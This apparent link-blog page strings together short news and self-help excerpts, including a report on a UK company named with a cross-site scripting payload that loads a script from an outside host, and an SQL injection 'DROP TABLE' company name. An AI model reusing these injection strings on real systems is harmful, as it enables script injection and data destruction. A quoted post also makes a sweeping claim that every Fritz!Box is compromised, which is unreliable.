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Satire Publication the Onion Buys Alex Jones’ Infowars at Auction With Sandy Hook Families’ Backing
A federal bankruptcy judge in Texas has ordered a hearing into how the satirical news publication The Onion won the bidding for conspiracy theorist Alex Jones’ Infowars, after Jones and his lawyers raised questions about how a bankruptcy auction was conducted
Software firm’s director thought name using HTML would be ‘fun and playful’
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The original name of the company was ““><SCRIPT SRC=HTTPS://MJT.XSS.HT> LTD”. By beginning the name with a quotation mark and chevron, any site which failed to properly handle the HTML code would have mistakenly thought the company name was blank, and then loaded and executed a script from the site XSS Hunter, which helps developers find cross-site scripting errors.
That script would have simply put up a harmless alert – but it serves as proof that a malicious attacker could instead have used the same weakness as a gateway to more damaging ends.
Similar names have been registered in the past, such as “; DROP TABLE “COMPANIES”;– LTD”, a wry attempt to carry out an attack known as SQL injection, inspired by a famous XKCD webcomic, but this was the first such name to have prompted a response. Companies House has retroactively removed the original name from its data feeds, and all documentation referring to its original moniker now reads simply “Company name available on request”.
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Morris sees signals all around that suggest people are at the end of their tolerance of the pace of change today, much less tomorrow, when futurists suggest there will be more change over the next decade alone than during the prior 100 years. “The whole MAGA movement is essentially an expression of millions of people who are experiencing anxiety because of too much change,” Morris says. “They’re afraid, they’re angry, they’re upset, they want to go back to how it was 20, 30, 40, 50 years ago. The symptoms that Alvin Toffler describes in his 1970 book, Future Shock are what we’re living out in a very public way in society today.”
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My point is, it is not just about computers. It’s about understanding how the world works. The world is made up of people. As much as machines keep society running, those machines are programmed by people–people with managers, spouses, and children; with wants, needs, and dreams. And it is about using that knowledge to bring about the change you want to see. […]
Discussion on HN: https://news.ycombinator.com/item?id=41306128
If you were to make a list of what you want to get done this week, it would mostly consist of things you have to do. Get groceries. Book a hair appointment. Get back to so-and-so. Read that health and safety thing for work.
If you were to make a list of things you want to get done in the next two years, it would probably be more personal and more empowering. Learn to record my own music. Double my client base. Set up my dream office. Write my screenplay. The list would contain fewer things you must do –- since, by definition, those things will get done anyway — and more of what you actually want to do with your life.
We usually call these optional aspirations goals, but doing so immediately introduces a few problems that make them less likely to happen.
The first problem is that goals are things you expect to do later, because they aren’t strictly necessary, and you’re currently busy with the to-do list stuff. You’ll do them, soon, but not quite yet. There must first be a lull in the noise and stress of normal life, in order to make goal-achieving feasible.
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All right, everyone — we can all breathe a sigh of relief. NASA’s Voyager 1 spacecraft is fully operational once more, with all four science instruments returning usable data to Earth.
Here’s an idea: a worldwide universal basic income paid for by a carbon tax. A study found that it could boost the global GDP by 130%.
A study found that implementing a global universal basic income could boost global GDP by 130%.
Funding a global UBI with a carbon tax would also promote sustainability, the study’s authors say.
https://www.businessinsider.com/universal-basic-income-carbon-taxes-global-gdp-sustainability-2024-6
The Doge Dog is dead. Sad Day
A survey of more than 2.4 million people finds that being online can have a positive effect on welfare.
A global, 16-year study1 of 2.4 million people has found that Internet use might boost measures of well-being, such as life satisfaction and sense of purpose — challenging the commonly held idea that Internet use has negative effects on people’s welfare.
Fritz.Box Domain is not owned by AVM and Fritz Boxes configure it as a default domain suffix via DHCP. So either don’t allow it to overwrite your resolv.conf or stop using your Fritz Box DHCP. And use alternative DNS Servers.
https://crapts.org/2024/04/21/all-fritz-box-modems-have-been-hijacked/
TL;DR: Every Fritz!Box has been compromised by DNS hijacking and using a Fritz!Box is unsafe. Every user of a Fritz!Box should immediately stop using their Fritz!Box or set up their own DHCP server.
edit: looks like they even redirected it to an NFT site sometime early this year according to heise.de. So it’s even worse than I thought. No idea if they now bought it or who owns it. Just play it safe and make sure you don’t use the suffix anywhere.
That’s what my dad said when I asked what was wrong with our home internet connection. “The Wi-Fi only works when it’s raining”
Let’s back up a few steps, so we’re all on the same page about the utter ridiculousness of this situation.
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Mit starken Worten und Superlativen gilt es in Fragen Computersicherheit immer sparsam umzugehen, nicht jede schlimm klingende Lücke stellt in der Realität auch eine Bedrohung dar. Bei dem, was nun rund um eine viel genutzte Open-Source-Komponente bekannt wird, können die Worte aber gar nicht stark genug sein. Geht es dabei doch um den jahrelang vorbereiteten Versuch, eine Hintertür auf hunderte Millionen Systeme einzuschmuggeln. Ein Versuch, der nur dank eines einzelnen, besonders aufmerksamen Entwicklers gestoppt werden konnte, bevor es zu größerem Schaden kommen konnte
That’s what OpenAI’s latest release is supposed to provide. The company is starting to roll out long-term memory in ChatGPT—a function that maintains a memory of who you are, how you work, and what you like to chat about. Called simply Memory, it’s an AI personalization feature that turbocharges the “custom instructions” tool OpenAI released last July
Maybe I should think about my Youtube Strategy,
Seems like people want to see something different these days.
https://www.politico.eu/article/youtuber-arrested-poo-brussels-metro-passengers-yanike-stib/
Blackrock Bitcoin Spot ETF approved.
And this time it’s for real.
Here’s the key: ask yourself which spiral you’re on right now.
Are you on the upward spiral? Keep going! Make one small change at a time, continue to help yourself feel better and better, work on your habit and mindfulness skills, and you’ll only get better at this over time.
Are you on the downward spiral? Ah, well, it’s good to recognize that. And it’s important to remember that you can turn it around. I turned my spiral upward, and many others have too. You can do this.
